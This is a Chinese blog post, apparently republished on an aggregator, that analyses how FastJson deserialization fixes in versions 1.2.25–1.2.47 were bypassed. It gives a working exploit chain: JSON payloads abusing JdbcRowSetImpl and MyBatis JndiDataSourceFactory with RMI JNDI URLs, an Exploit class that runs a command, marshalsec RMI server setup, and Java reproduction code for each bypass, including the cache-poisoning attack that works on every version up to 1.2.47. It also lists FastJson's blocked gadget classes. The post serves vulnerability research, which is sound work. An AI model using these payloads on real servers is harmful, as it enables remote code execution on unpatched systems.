栏目分类:
子分类:
返回
名师互学网用户登录
快速导航关闭
当前搜索
当前分类
子分类
实用工具
热门搜索
名师互学网 > IT > 软件开发 > 后端开发 > Java

『Java安全』反序列化-FastJson 1.2.25-1.2.47历史版本修复绕过分析

Java 更新时间: 发布时间: IT归档 最新发布 模块sitemap 名妆网 法律咨询 聚返吧 英语巴士网 伯小乐 网商动力

『Java安全』反序列化-FastJson 1.2.25-1.2.47历史版本修复绕过分析

文章目录

前言fastjson <=1.2.41

旧版本补丁更新分析payload代码审计 | 原理分析

利用至少一层 L; 描述符包裹类名绕过黑名单 代码复现利用缺点 fastjson <=1.2.42

旧版本补丁更新分析

黑名单分析 payload代码审计 | 原理分析

利用至少两层 L; 描述符包裹类名绕过黑名单 代码复现利用缺点 fastjson <=1.2.43

旧版本补丁更新分析payload代码审计 | 原理分析

类名前加 [ 描述符绕过黑名单完善语法 代码复现利用缺点 fastjson <=1.2.45

旧版本补丁更新分析payload代码审计 | 原理分析

mybatis3 <=3.4.6 setProperties()触发jndi注入

手动调用JndiDataSourceFactory.setProperties()示例代码 mybatis未被列入黑名单可以利用 代码复现利用缺点 fastjson <= 1.2.47 通杀

旧版本补丁更新分析payload代码审计 | 通杀原理分析

@type是Class类时会加载val对应的类并写入缓存关闭autoTypeSupport加载类会先去缓存Map中查找 代码复现利用优点 参考完

前言

在1.2.24爆出后官方进行了多次修复,然而修复后仍然不断有漏洞爆出

fastjson <=1.2.41 旧版本补丁更新分析

运行一下1.2.24的payload,ParserConfig.checkAutoType方法提示autoType不支持

在DefaultJSONParser.parseObject新调用了checkAutoType

checkAutoType加入了两个判断:

autoTypeSupport配置用于判定是否开启任意类反序列化acceptList和denyList黑白名单用于检查该类是否能被反序列化

默认黑名单包括以下类/开头的类:

bsh
com.mchange
com.sun.
java.lang.Thread
java.net.Socket
java.rmi
javax.xml
org.apache.bcel
org.apache.commons.beanutils
org.apache.commons.collections.Transformer
org.apache.commons.collections.functors
org.apache.commons.collections4.comparators
org.apache.commons.fileupload
org.apache.myfaces.context.servlet
org.apache.tomcat
org.apache.wicket.util
org.codehaus.groovy.runtime
org.hibernate
org.jboss
org.mozilla.javascript
org.python.core
org.springframework

首先,第一次判断,如果开启了autoTypeSupport:先判断在白名单内就进行类加载、在黑名单内就报错

第二次判断,如果没有开启autoTypeSupport:先判断在黑名单内就报错、白名单内就进行类加载

第三次判断,如果开启了autoTypeSupport而且类不在黑白名单内的,再加载

往后看,类加载调用的是fastjson的loadClass,这里对带有描述符的类有特殊的处理:

以[开头的数组类,把[去除再加载,例如[B以L;包裹的引用类,把前后去除再加载,例如Ljava.Object.String;

payload

ldap同理

{
	"@type":"Lcom.sun.rowset.JdbcRowSetImpl;",
	"dataSourceName":"rmi://127.0.0.1/hacked",
	"autoCommit":true
}

由于TemplatesImpl还需要开启Feature.SupportNonPublicField,不做分析

代码审计 | 原理分析 利用至少一层 L; 描述符包裹类名绕过黑名单

JdbcRowSet属于com.sun,被黑名单禁用了,并且我们无法得知白名单的内容默认白名单为空,关键点就在本次更新的autoTypeSupport和黑白名单验证机制。

前两次验证肯定进不去,只能寄希望在第三次验证上面,要保证autoTypeSupport开启否则就进入第二次验证抛出错误了。如果开启了autoTypeSupport就还要保证第一轮判断能通过,要构建一个不存在于黑名单上的类。

更新的loadClass在处理描述符类的时候,对数组、引用类并没有判断这个类究竟是否真的存在,只是通过字符串比较就直接截取loadClass了

那么只要把类用L;包裹就能绕过第一轮黑名单判断、并且在loadClass的时候还会帮我们去除L;完成加载,就完成了绕过。


而且和这里是递归调用,因此理论上可以套很多层L;

代码复现

编译Exploit类放到服务器上

import java.lang.Runtime;

public class Exploit{
	static {
		try {
			System.out.println("rce");
			Runtime.getRuntime().exec("calc.exe");
		} catch (Exception e) {
			e.printStackTrace();
		}
	}
}
javac Exploit.java
python -m http.server 80

开启marshalsec的rmi服务器

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer http://127.0.0.1/#Exploit 1099

运行复现代码:

package fastjson.Ver2u25to41;

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.ParserConfig;

public class Payload {
    public static void main(String[] args) throws Exception {
        String typeName = "Lcom.sun.rowset.JdbcRowSetImpl;";
        String rmiURL = "rmi://127.0.0.1/hacked";
        // String ldapURL = "ldap://127.0.0.1:389/hacked";

        String payload1 = "{"@type":""+ typeName +"", "dataSourceName":"" + rmiURL +"", "autoCommit":true}n";
        // String payload2 = "{"@type":""+ typeName +"", "dataSourceName":"" + ldapURL +"", "autoCommit":true}n";

        ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
        JSON.parseObject(payload1);
        // JSON.parseObject(payload2);
    }
}

利用缺点

反序列化必须开启autoTypeSupport

ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
JSON.parse(str);
fastjson <=1.2.42 旧版本补丁更新分析

运行1.2.41的payload,看来又修改了过滤原则

其中,黑名单为了防止被识别,换成了hash字符串

黑名单分析

这里放一下其他师傅破解的黑名单

LeadroyaL/fastjson-blacklist


另外判断前进行了字符去除

先用debug看看checkAutoType新增的过滤:发现这里通过运算先过滤了一次L;

payload
{
	"@type":"LLcom.sun.rowset.JdbcRowSetImpl;;",
	"dataSourceName":"rmi://127.0.0.1/hacked",
	"autoCommit":true
}
代码审计 | 原理分析 利用至少两层 L; 描述符包裹类名绕过黑名单

既然过滤了一次L;,那就双写绕过,后续loadClass是递归调用,那么用至少两层包裹都能绕过。

代码复现
package fastjson.Ver2u42;

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.ParserConfig;

public class Payload {
    public static void main(String[] args) throws Exception {
        String typeName = "LLcom.sun.rowset.JdbcRowSetImpl;;";
        String rmiURL = "rmi://127.0.0.1/hacked";
        String payload = "{"@type":""+ typeName +"", "dataSourceName":"" + rmiURL +"", "autoCommit":true}n";
        ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
        JSON.parseObject(payload);

    }
}

利用缺点

反序列化必须开启autoTypeSupport

ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
JSON.parse(str);
fastjson <=1.2.43 旧版本补丁更新分析

运行1.2.42的payload,又被ban了

修改了对L;的判断,这里修改为如果类名首尾以L;包裹、并且两个LL开头就报错

看来官方是把这条路完全封死了

payload
{
	"@type":"[com.sun.rowset.JdbcRowSetImpl"[,
	{"dataSourceName":"rmi://127.0.0.1/hacked",
	"autoCommit":true
}
代码审计 | 原理分析 类名前加 [ 描述符绕过黑名单

既然多个L;无法绕过,还有数组形式[的绕过

尝试只插入一个[,在解析的时候语义解析出错了,提示逗号前面缺一个[

完善语法

根据语义提示补全,在逗号前面加一个[,又提示44处缺一个{,位置在dataSourceName属性的左双引号前面

代码复现
package fastjson.Ver2u43;

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.ParserConfig;

public class Payload {
    public static void main(String[] args) throws Exception {
        String typeName = "[com.sun.rowset.JdbcRowSetImpl";
        String rmiURL = "rmi://127.0.0.1/hacked";
        String payload = "{"@type":""+ typeName +""[, {"dataSourceName":"" + rmiURL +"", "autoCommit":true}n";
        ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
        System.out.println(payload);
        JSON.parseObject(payload);
    }
}

利用缺点

依旧需要开启autoTypeSupport

ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
JSON.parse(str);
fastjson <=1.2.45 旧版本补丁更新分析

1.2.44彻底把上述两种绕过ban了,只要[开头全ban了

payload
{
    "@type":"org.apache.ibatis.datasource.jndi.JndiDataSourceFactory",
    "properties":{
        "data_source":"rmi://127.0.0.1/hacked"
    }
}
代码审计 | 原理分析 mybatis3 <=3.4.6 setProperties()触发jndi注入

手动调用JndiDataSourceFactory.setProperties()示例代码
package fastjson.Ver2u45;

import org.apache.ibatis.datasource.jndi.JndiDataSourceFactory;

import java.util.Properties;

public class MybatisTest {
    public static void main(String[] args) throws Exception {
        JndiDataSourceFactory factory = new JndiDataSourceFactory();
        Properties properties = new Properties();
        properties.setProperty("data_source", "rmi://127.0.0.1/hacked");
        factory.setProperties(properties);
    }
}

mybatis未被列入黑名单可以利用

恰好这个方法是setter方法,能被fastjson调用,而且参考黑名单发现这个类没有被ban,就用这个类完成jndi注入

代码复现
package fastjson.Ver2u45;

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.ParserConfig;

public class Payload {
    public static void main(String[] args) throws Exception {
        String typeName = "org.apache.ibatis.datasource.jndi.JndiDataSourceFactory";
        String rmiURL = "rmi://127.0.0.1/hacked";
        String payload = "{"@type":""+ typeName +"", "properties":{"data_source":""+ rmiURL +""}}n";
        ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
        JSON.parseObject(payload);
    }
}

利用缺点

需要mybatis3 <=3.4.6依旧需要开启autoTypeSupport fastjson <= 1.2.47 通杀 旧版本补丁更新分析

mybatis在1.2.46也被ban了,因此上面的方法都不行了

payload

1.2.25-1.2.32:autoTypeSupport关闭
1.2.33-1.2.47:autoTypeSupport任意

{
	{
		"@type": "java.lang.Class",
		"val": "com.sun.rowset.JdbcRowSetImpl"
	},
	{
		"@type": "com.sun.rowset.JdbcRowSetImpl",
		"dataSourceName": "rmi://127.0.0.1/hacked",
		"autoCommit": true
	}
}

代码审计 | 通杀原理分析 @type是Class类时会加载val对应的类并写入缓存

关闭了autoTypeSupport肯定进不去白名单查找,又由于Mapping为空就进入findClass开启了autoTypeSupport在白名单也找不到Class类(默认白名单为空),也会最终进入findClass


IdentifyHashMap存了很多基础类,匹配到直接返回

然后checkAutoType也就返回了

checkAutoType返回后DefaultJSONParser继续运行,来到deserialize继续进行解析

进入了MiscCodec.deserialize,这里从val参数获取了值


传给了strVal

往下走,如果@type是Class类,那么就会调用TypeUtils.loadClass加载val参数对应的类

默认缓存开启,首先去缓存中查找,首次加载肯定找不到,就来到之后else,在里面完成了类加载并且写入了缓存

因此我们可以首先把JdbcRowSetImpl加载到缓存中,这样根本不会经过黑名单验证

关闭autoTypeSupport加载类会先去缓存Map中查找

如果缓存Map有JdbcRowSetImpl类,那么checkAutoType就会直接返回

因此首先加载Class、再加载JdbcRowSetImpl就完成了绕过,这里就采用了两层JSON嵌套

代码复现

autoTypeSupport可开可不开

package fastjson.Ver2u47;

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.ParserConfig;

public class Payload {
    public static void main(String[] args) throws Exception {
        String typeName = "com.sun.rowset.JdbcRowSetImpl";
        String className = "java.lang.Class";
        String rmiURL = "rmi://127.0.0.1/hacked";
        String payload = "{{"@type": ""+ className +"", "val": ""+ typeName +""}, {"@type": ""+ typeName +"", "dataSourceName": "" + rmiURL +"", "autoCommit": true}}n";
        ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
        System.out.println(payload);
        JSON.parseObject(payload);

    }
}

利用优点

通杀,无视autoTypeSupport,默认autoTypeSupport是关闭的

1.2.25-1.2.32:autoTypeSupport关闭
1.2.33-1.2.47:autoTypeSupport任意

参考

https://www.freebuf.com/vuls/276812.html

欢迎关注我的CSDN博客 :@Ho1aAs
版权属于:Ho1aAs
本文链接:https://blog.csdn.net/Xxy605/article/details/123364720
版权声明:本文为原创,转载时须注明出处及本声明

转载请注明:文章转载自 www.mshxw.com
本文地址:https://www.mshxw.com/it/759315.html
我们一直用心在做
关于我们 文章归档 网站地图 联系我们

版权所有 (c)2021-2022 MSHXW.COM

ICP备案号:晋ICP备2021003244-6号